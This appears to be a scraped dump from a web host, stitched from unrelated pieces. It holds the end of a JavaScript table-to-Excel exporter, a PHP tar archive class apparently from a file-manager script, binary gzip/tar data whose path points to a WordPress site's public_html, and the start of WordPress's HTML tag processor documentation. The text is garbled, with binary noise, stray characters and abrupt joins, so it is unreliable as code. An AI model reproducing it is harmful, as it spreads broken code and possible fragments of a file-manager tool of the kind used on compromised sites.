    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

dvadf<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>PKgN\�i���,class-wp-html-attribute-token.php.php.tar.gznu�[�����V�o�8�k�W��"ߗ���l݆;`7C�>:���BmI���a��(�vb��q���M(�G���J"36J��d��U�i��,�Ԁ��13#��G4%��(h��|�[6�򖉡Jԣ�\�f�z��?���&��l<����@�t6��`���%7�h�_�
��+lZwtvօ3x��������\G�K��p�p�4u�W��[�ap#u|��?�+���1@��G61�N�c�>�A�J�.�Ű��_�dJK��R1@ &���:�6G�5�yEE�T�;d��r��Ukb,����!斁b�3�y
�;-n�d���2-H�ɹ+ɵW�gA6�u��w,��uj̟o�e-5�?��S)�X�%�v�&�L���d�n��:I��
����X�'O�UP�N$�knv��w;�'ĩ�@���:��ݠRn�v-�R��n'�x윟w�`�$Ϳ	�����"b����F�#�,3�S�$�����k�P����BwX v�2em��]°ou���@�������q��}!��)��,E������n���=�G�:x�5��M�&���.���$/:���(�E#))1�<�����~�VR����B��C��[.>���0��[s7�X�M�ij�%��������T����"�۰�=%������}2�Cxh]�|PS�
d����{4a��=(>��=\	�Z����8�E=�ҹ�R1�t
�T��c��u�p<y7	î6#�l[����巌��i��M���x+Ex��>
�kJ�pH�r���[5�e���X\gq�V�uQ�;L��g����%u�ZL+L1���&d�S��j�+�r}�#�E�V�k`w���R�b96�XB�OBﻯ�[�\P�A!�hI�'���Z���N��2�9>uO|��]?xY�ʼ|�+��C�,TG���ϛdeYkv�l�՚L�`jE6�(v�t�t���� � ��|�WyPKgN\�KW�ggerror_log.tar.gznu�[������o�0�9�W<i;�;?Hɵ[�c���a��#l�8��@Ѵ�}�v���#�!b"���'��b�n?�\�gR�SnV2ؔ#�rY�Y4#,E@I��.�T�A� 6�q�'��M4�qLHJ"2h�R�����j��G��a����+�G!	�$�G����/��~?P+�������Plk�g��g�
�`g��\$�tO_J^B�@�y!��ag�{��_��yΪ
Pk�B�XT�4S�Q�̞�ٖT-�q@+'
5m\f..3�{��*��~����0
���
8���tk�b�N��n��!�~�|]MN#�/�����1�$K⌎�X5i^���#��u�K��s��滍-}�7���up���[M�^��A�v[�Q�����<p�V+]��tQ��4mN�Z>�
�JT�pT�o�(�D�;��#�9ˆ��^�P���b���]̥N䕩�4~���#Z�PN�sj��B��;�#ک�ݏ�����ne;泠�4~T�W��4�,T[�@���zG���z%����"�Pn�s��� T��QN?�գ=7�9��o����u���}��G'��/&PKgN\T7��[["class-wp-html-token.php.php.tar.gznu�[�����WQo�6�k�+]'�-�F�ɲ4�V�@�h��Pi��Ӥ@RV�-�}w�dI��f���!|H"��x���L��,�&��,/RDa�VrV�S�"Y����Ŕ�bIf�����\y�?{p��z}z:���^���^�zyzz2?;;�����+8y8�?�
�#������+����x�������9�ބ�~��h@6or-Y��V���p�ol�h6�q�Q���!�����g�樷��*.�ǰ؀�*_ȍ�0�6F��~�K�9�-�n����hA(D��p��udԹ΄��?��"Ux6��q���l��i��@�XD6h+���!��B�4a|��E�ct@�9@�_؊�N`��r��"m�ҹVq
���D��C'��1�����ɏ��knAib�K�̜�]��NH	�����H+��oM�<*�b(T̍��q��Jf�9VZc����dQs`�c���9����6$i�}�f��Jϳ�A�_�9:�8/AR^���t�/@꒛��œ�[D`��)7ρ!W�N��\�WX�m�?���c�E0H�5�b�t!c�F<61z�O�������z�V�Gԇp�W�ی�5_�X9&��n��dIMm�d�]W�D���9Rm�ʌ���b�����%�Q�B�k�C�w�[�bm��F����1<��e��|�GY`s%��Lm��w�l�td���'�SŒِ���+�^B¤��z~��E��-��%��q��(��Iˬ���6qT)h1��l�#`LH��u��0�x�\6v�@�G�&.T>�ٗ���X
lr����T��k|ځ6! Lm��D�:��6{Lۿ��@��O��1=��&"�[&%j��e��Rf8Ħ���ȑf���@������8�C�0[H�A��i�nCIh�[E��)D��Z�j�q��*�e���ՠ���O��vu�Y�?Rך-jc
o��h���YX�/��?�+��~��=�q��v���`�뮮��	��T�b/�gE�W�`�۟~{;-&�r($/��y)�|;5z����9�#���
ևUx�����ODV�a��`b"�ңj����kN��d�
5�\�~�]*:`��nJ
Y�I�|z�o�ڶH��a5=pW���9i����IU��JN�A9�~pD�Z/h>On�˝.Z�V/�����p�����0����]vq��]Gr~��ܯ��׎�U���æԇ���Q]�2
�#&�����#�z�p˖��QR�o�d�� ���HJ���2�KP���>j��׈{���ۏן>�!0n��_cw�Wp�v����c����n�_�G�����zZ�[��J�PKgN\g���VV#class-wp-html-tag-processor.php.tarnu�[���home/homerdlh/public_html/wp-includes/html-api/class-wp-html-tag-processor.php000064400000447050151440277770023567 0ustar00<?php
/**
 * HTML API: WP_HTML_Tag_Processor class
 *
 * Scans through an HTML document to find specific tags, then
 * transforms those tags by adding, removing, or updating the
 * values of the HTML attributes within that tag (opener).
 *
 * Does not fully parse HTML or _recurse_ into the HTML structure
 * Instead this scans linearly through a document and only parses
 * the HTML tag openers.
 *
 * ### Possible future direction for this module
 *
 *  - Prune the whitespace when removing classes/attributes: e.g. "a b c" -> "c" not " c".
 *    This would increase the size of the changes for some operations but leave more
 *    natural-looking output HTML.
 *
 * @package WordPress
 * @subpackage HTML-API
 * @since 6.2.0
 */

/**
 * Core class used to modify attributes in an HTML document for tags matching a query.
 *
 * ## Usage
 *
 * Use of this class requires three steps:
 *
 *  1. Create a new class instance with your input HTML document.
 *  2. Find the tag(s) you are looking for.
 *  3. Request changes to the attributes in those tag(s).
 *
 * Example:
 *
 *     $tags = new WP_HTML_Tag_Processor( $html );
 *     if ( $tags->next_tag( 'option' ) ) {
 *         $tags->set_attribute( 'selected', true );
 *     }
 *
 * ### Finding tags
 *
 * The `next_tag()` function moves the internal cursor through
 * your input HTML document until it finds a tag meeting any of
 * the supplied restrictions in the optional query argument. If
 * no argument is provided then it will find the next HTML tag,
 * regardless of what kind it is.
 *
 * If you want to _find whatever the next tag is_:
 *
 *     $tags->next_tag();
 *
 * | Goal                                                      | Query                                                                           |
 * |-----------------------------------------------------------|---------------------------------------------------------------------------------|
 * | Find any tag.                                             | `$tags->next_tag();`                                                            |
 * | Find next image tag.                                      | `$tags->next_tag( array( 'tag_name' => 'img' ) );`                              |
 * | Find next image tag (without passing the array).          | `$tags->next_tag( 'img' );`                                                     |
 * | Find next tag containing the `fullwidth` CSS class.       | `$tags->next_tag( array( 'class_name' => 'fullwidth' ) );`                      |
 * | Find next image tag containing the `fullwidth` CSS class. | `$tags->next_tag( array( 'tag_name' => 'img', 'class_name' => 'fullwidth' ) );` |
 *
 * If a tag was found meeting your criteria then `next_tag()`
 * will return `true` and you can proceed to modify it. If it
 * returns `false`, however, it failed to find the tag and
 * moved the cursor to the end of the file.
 *
 * Once the cursor reaches the end of the file the processor
 * is done and if you want to reach an earlier tag you will
 * need to recreate the processor and start over, as it's
 * unable to back up or move in reverse.
 *
 * See the section on bookmarks for an exception to this
 * no-backing-up rule.
 *
 * #### Custom queries
 *
 * Sometimes it's necessary to further inspect an HTML tag than
 * the query syntax here permits. In these cases one may further
 * inspect the search results using the read-only functions
 * provided by the processor or external state or variables.
 *
 * Example:
 *
 *     // Paint up to the first five DIV or SPAN tags marked with the "jazzy" style.
 *     $remaining_count = 5;
 *     while ( $remaining_count > 0 && $tags->next_tag() ) {
 *         if (
 *              ( 'DIV' === $tags->get_tag() || 'SPAN' === $tags->get_tag() ) &&
 *              'jazzy' === $tags->get_attribute( 'data-style' )
 *         ) {
 *             $tags->add_class( 'theme-style-everest-jazz' );
 *             $remaining_count--;
 *         }
 *     }
 *
 * `get_attribute()` will return `null` if the attribute wasn't present
 * on the tag when it was called. It may return `""` (the empty string)
 * in cases where the attribute was present but its value was empty.
 * For boolean attributes, those whose name is present but no value is
 * given, it will return `true` (the only way to set `false` for an
 * attribute is to remove it).
 *
 * #### When matching fails
 *
 * When `next_tag()` returns `false` it could mean different things:
 *
 *  - The requested tag wasn't found in the input document.
 *  - The input document ended in the middle of an HTML syntax element.
 *
 * When a document ends in the middle of a syntax element it will pause
 * the processor. This is to make it possible in the future to extend the
 * input document and proceed - an important requirement for chunked
 * streaming parsing of a document.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( 'This <div is="a" partial="token' );
 *     false === $processor->next_tag();
 *
 * If a special element (see next section) is encountered but no closing tag
 * is found it will count as an incomplete tag. The parser will pause as if
 * the opening tag were incomplete.
 *
 * Example:
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// there could be more styling to come' );
 *     false === $processor->next_tag();
 *
 *     $processor = new WP_HTML_Tag_Processor( '<style>// this is everything</style><div>' );
 *     true === $processor->next_tag( 'DIV' );
 *
 * #### Special self-contained elements
 *
 * Some HTML elements are handled in a special way; their start and end tags
 * act like a void tag. These are special because their contents can't contain
 * HTML markup. Everything inside these elements is handled in a special way
 * and content that _appears_ like HTML tags inside of them isn't. There can
 * be no nesting in these elements.
 *
 * In the following list, "raw text" means that all of the content in the HTML
 * until the matching closing tag is treated verbatim without any replacements
 * and without any parsing.
 *
 *  - IFRAME allows no content but requires a closing tag.
 *  - NOEMBED (deprecated) content is raw text.
 *  - NOFRAMES (deprecated) content is raw text.
 *  - SCRIPT content is plaintext apart from legacy rules allowing `</script>` inside an HTML comment.
 *  - STYLE content is raw text.
 *  - TITLE content is plain text but character references are decoded.
 *  - TEXTAREA content is plain text but character references are decoded.
 *  - XMP (deprecated) content is raw text.
 *
 * ### Modifying HTML attributes for a found tag
 *
 * Once you've found the start of an opening tag you can modify
 * any number of the attributes on that tag. You can set a new
 * value for an attribute, remove the entire attribute, or do
 * nothing and move on to the next opening tag.
 *
 * Example:
 *
 *     if ( $tags->next_tag( array( 'class_name' => 'wp-group-block' ) ) ) {
 *         $tags->set_attribute( 'title', 'This groups the contained content.' );
 *         $tags->remove_attribute( 'data-test-id' );
 *     }
 *
 * If `set_attribute()` is called for an existing attribute it will
 * overwrite the existing value. Similarly, calling `remove_attribute()`
 * for a non-existing attribute has no effect on the document. Both
 * of these methods are safe to call without knowing if a given attribute
 * exists beforehand.
 *
 * ### Modifying CSS classes for a found tag
 *
 * The tag processor treats the `class` attribute as a special case.
 * Because it's a common operation to add or remove CSS classes, this
 * interface adds helper methods to make that easier.
 *
 * As with attribute values, adding or removing CSS classes is a safe
 * operation that doesn't require checking if the attribute or class
 * exists before making changes. If removing the only class then the
 * entire `class` attribute will be removed.
 *
 * Example:
 *
 *     // from `<span>Yippee!</span>`
 *     //   to `<span class="is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="excited">Yippee!</span>`
 *     //   to `<span class="excited is-active">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<span class="is-active heavy-accent">Yippee!</span>`
 *     //   to `<span class="is-active heavy-accent">Yippee!</span>`
 *     $tags->add_class( 'is-active' );
 *
 *     // from `<input type="text" class="is-active rugby not-disabled" length="24">`
 *     //   to `<input type="text" class="is-active not-disabled" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" class="rugby" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 *     // from `<input type="text" length="24">`
 *     //   to `<input type="text" length="24">
 *     $tags->remove_class( 'rugby' );
 *
 * When class changes are enqueued but a direct change to `class` is made via
 * `set_attribute` then the changes to `set_attribute` (or `remove_attribute`)
 * will take precedence over those made through `add_class` and `remove_class`.
 *
 * ### Bookmarks
 *
 * While scanning through the input HTMl document it's possible to set
 * a named bookmark when a particular tag is found. Later on, after
 * continuing to scan other tags, it's possible to `seek` to one of
 * the set bookmarks and then proceed again from that point forward.
 *
 * Because bookmarks create processing overhead one should avoid
 * creating too many of them. As a rule, create only bookmarks
 * of known string literal names; avoid creating "mark_{$index}"
 * and so on. It's fine from a performance standpoint to create a
 * bookmark and update it frequently, such as within a loop.
 *
 *     $total_todos = 0;
 *     while ( $p->next_tag( array( 'tag_name' => 'UL', 'class_name' => 'todo' ) ) ) {
 *         $p->set_bookmark( 'list-start' );
 *         while ( $p->next_tag( array( 'tag_closers' => 'visit' ) ) ) {
 *             if ( 'UL' === $p->get_tag() && $p->is_tag_closer() ) {
 *                 $p->set_bookmark( 'list-end' );
 *                 $p->seek( 'list-start' );
 *                 $p->set_attribute( 'data-contained-todos', (string) $total_todos );
 *                 $total_todos = 0;
 *                 $p->seek( 'list-end' );
 *                 break;
 *             }
 *
 *             if ( 'LI' === $p->get_tag() && ! $p->is_tag_closer() ) {
 *                 $total_todos++;
 *             }
 *         }
 *     }
 *
 * ## Tokens and finer-grained processing.
 *
 * It's possible to scan through every lexical token in the
 * HTML document using the `next_token()` function. This
 * alternative form takes no argument and provides no built-in
 * query syntax.
 *
 * Example:
 *
 *      $title = '(untitled)';
 *      $text  = '';
 *      while ( $processor->next_token() ) {
 *          switch ( $processor->get_token_name() ) {
 *              case '#text':
 *                  $text .= $processor->get_modifiable_text();
 *                  break;
 *
 *              case 'BR':
 *                  $text .= "\n";
 *                  break;
 *
 *              case 'TITLE':
 *                  $title = $processor->get_modifiable_text();
 *                  break;
 *          }
 *      }
 *      return trim( "# {$title}\n\n{$text}" );
 *
 * ### Tokens and _modifiable text_.
 *
 * #### Special "atomic" HTML elements.
 *
 * Not all HTML elements are able to contain other elements inside of them.
 * For instance, the contents inside a TITLE element are plaintext (except
 * that character references like &amp; will be decoded). This means that
 * if the string `<img>` appears inside a TITLE element, then it's not an
 * image tag, but rather it's text describing an image tag. Likewise, the
 * contents of a SCRIPT or STYLE element are handled entirely separately in
 * a browser than the contents of other elements because they represent a
 * different language than HTML.
 *
 * For these elements the Tag Processor treats the entire sequence as one,
 * from the opening tag, including its contents, through its closing tag.
 * This means that the it's not possible to match the closing tag for a
 * SCRIPT element unless it's unexpected; the Tag Processor already matched
 * it when it found the opening tag.
 *
 * The inner contents of these elements are that element's _modifiable text_.
 *
 * The special elements are:
 *  - `SCRIPT` whose contents are treated as raw plaintext but supports a legacy
 *    style of including JavaScript inside of HTML comments to avoid accidentally
 *    closing the SCRIPT from inside a JavaScript string. E.g. `console.log( '</script>' )`.
 *  - `TITLE` and `TEXTAREA` whose contents are treated as plaintext and then any
 *    character references are decoded. E.g. `1 &lt; 2 < 3` becomes `1 < 2 < 3`.
 *  - `IFRAME`, `NOSCRIPT`, `NOEMBED`, `NOFRAME`, `STYLE` whose contents are treated as
 *    raw plaintext and left as-is. E.g. `1 &lt; 2 < 3` remains `1 &lt; 2 < 3`.
 *
 * #### Other tokens with modifiable text.
 *
 * There are also non-elements which are void/self-closing in nature and contain
 * modifiable text that is part of that individual syntax token itself.
 *
 *  - `#text` nodes, whose entire token _is_ the modifiable text.
 *  - HTML comments and tokens that become comments due to some syntax error. The
 *    text for these tokens is the portion of the comment inside of the syntax.
 *    E.g. for `<!-- comment -->` the text is `" comment "` (note the spaces are included).
 *  - `CDATA` sections, whose text is the content inside of the section itself. E.g. for
 *    `<![CDATA[some content]]>` the text is `"some content"` (with restrictions [1]).
 *  - "Funky comments," which are a special case of invalid closing tags whose name is
 *    invalid. The text for these nodes is the text that a browser would transform into
 *    an HTML comment when parsing. E.g. for `</%post_author>` the text is `%post_author`.
